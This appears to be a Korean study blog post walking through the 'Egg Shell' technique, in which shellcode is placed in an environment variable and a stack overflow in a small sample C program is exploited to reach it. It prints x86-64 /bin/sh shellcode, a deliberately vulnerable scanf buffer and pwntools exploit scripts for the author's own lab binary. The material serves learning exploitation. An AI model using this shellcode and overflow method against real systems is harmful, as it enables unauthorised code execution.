ShellCode - Egg Shell.part1
작년에 공부 했던 포너블 기초 내용중에 셸코드 부분에서 가장 흥미롭게 다뤘던 부분을 정리해볼까 한다.
사실 실습 관련 내용을 찾기 힘들어서 동아리 선배님의 조언과 함께 가장 오래 삽질한 내용이라서 기억에 남는듯.
EGG SHELL
Egg Shell기법은 주로 버퍼의 크기가 작아서 셸코드를 넣을 수 없을 때 또는 주소 계산이 힘들때
셸코드를 환경 변수로 저장하여 그 주소를 사용하는 방법을 말한다.
다만 이 기법은 로컬에서만 사용이 가능하다는 단점이 존재한다.
//eggshell_sample.c
#include <stdio.h>
int main() {
char buf[0x10];
printf("[<] ");
scanf("%s", buf);
return 0;
}
예제 코드는 위와 같다.
간단한 실습이기 때문에 중간에 PIE나 ASLR로 인한 주소 계산을 생략하기 위해 해당 보호 기법들은
적용시키지 않았다.
다음 사진은 해당 실행파일의 main함수 부분 디스어셈블이다.
main+8 부분에서 스택에 0x10만큼의 공간을 할당하고
buf의 위치를 rsp-0x10으로 두는 것을 확인 가능하다.
따라서 buf의 크기는 0x10이다.
우리가 사용할 셸코드는
\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05
총 23byte이다.
하지만 buf의 크기는 16byte밖에 되지 않는다. 따라서 셸 코드를 buf에 넣지 못한다.
그럼 우선 환경변수를 저장하는 방법을 알아보자.
" env / export "
우리는 소제목인 env와 export명령어를 이용하여 환경변수를 저장하고 확인 할 것이다.
우선 env 명령어의 기능은 현재 저장되어있는 환경변수들을 출력 하는 명령어이다.
export 명령어는 환경변수를 저장할때 사용하는 명령어이다.
우리는 다음과 같은 명령어로 셸 코드를 환경변수에 저장할 것이다.
export SHELLCODE=`python2.7 –c 'print("[shellcode]")'`
명령어를 실행한 후 env 명령어로 셸 코드가 환경변수로 저장되었는지 확인 할 수 있다.
이후 C언어로 간단한 코드를 작성하여 환경변수의 주소를 구해보자.
//get_addr.c
#include <stdio.h>
#include <stdlib.h>
int main(){
char *env;
env = getenv("SHELLCODE");
printf("address of SHEllCODE = %p", env);
printf(“vlaue of SHEllCODE = %s", env);
return 0;
}
해당 코드를 실행시 SHELLCODE라는 이름을 가진 환경변수의 주소와 값을 출력해준다.
따라서 위와 같이 셸코드가 저장된 SHELLCODE의 주소를 알 수 있다.
따라서 해당 정보들을 이용하여 익스플로잇 코드를 작성해 보았다.
from pwn import *
context(arch = 'amd64', os = 'linux')
context.log_level = 'debug’
p = process("/home/lluvia/2week_assingment/eggshell/eggshell_sample")
ret = '0x7fffffffe618’
payload = b''
payload += b'\x90' * 0x18
payload += p64(int(ret, 16))
p.sendline(payload)
p.interactive()
해당 코드를 작성 시켜본 뒤 디버깅을 해보자.
해당 사진은 익스플로잇 코드를 작동한뒤 main함수의 ret 직전의 스택 상황이다.
이때 우리가 찾은 SHELLCODE의 주소인 0x7fffffffe618이 잘 들어가 있음을 볼 수 있다.
하지만 해당 상황에서 Continue 시키면 세그폴트가 발생한다.
그 이유는 다음과 같다.
우리가 SHELLCODE의 주소라고 생각한 주소가 다른 환경변수 주소였기 때문이다.
환경변수 또한 스택에 존재하기 때문에 스택에서 환경변수들의 주소를 찾을 수 있다.
이에 대한 개인적인 근거는 위에서 찾은 주소가 환경변수를 가리키며 스택 범위 안의 주소이기 때문이다.
이후 스택에 저장된 환경 변수들을 자세히 살펴보면 SHELLCODE의 주소를 찾을 수 있다.
이때 무작정 해당 주소를 가져다 쓰면 또 세그폴트가 발생할 것이다.
그 이유는 해당 주소가 가리키는 곳에 있는 정보는 "SHELLCODE="을 포함하고 있기 때문이다.
따라서 얻은 주소 + 10의 주소를 사용하도록 한다.
따라서 익스플로잇 코드를 다음과 같이 변경한다.
from pwn import *
context(arch = 'amd64', os = 'linux’)
context.log_level = 'debug'
p = process("/home/lluvia/2week_assingment/eggshell/eggshell_sample")
ret = '0x7fffffffe5e6’
payload = b''
payload += b'\x90' * 0x18
payload += p64(int(ret, 16))
p.sendline(payload)
p.interactive()
결과적으로 수정한 익스플로잇 코드를 이용하여 셸을 무사히 획득함을 알 수 있다.
이로써 간단한 Egg Shell기법에 대한 실습을 마치도록 하겠다.
읽어주셔서 감사합니다.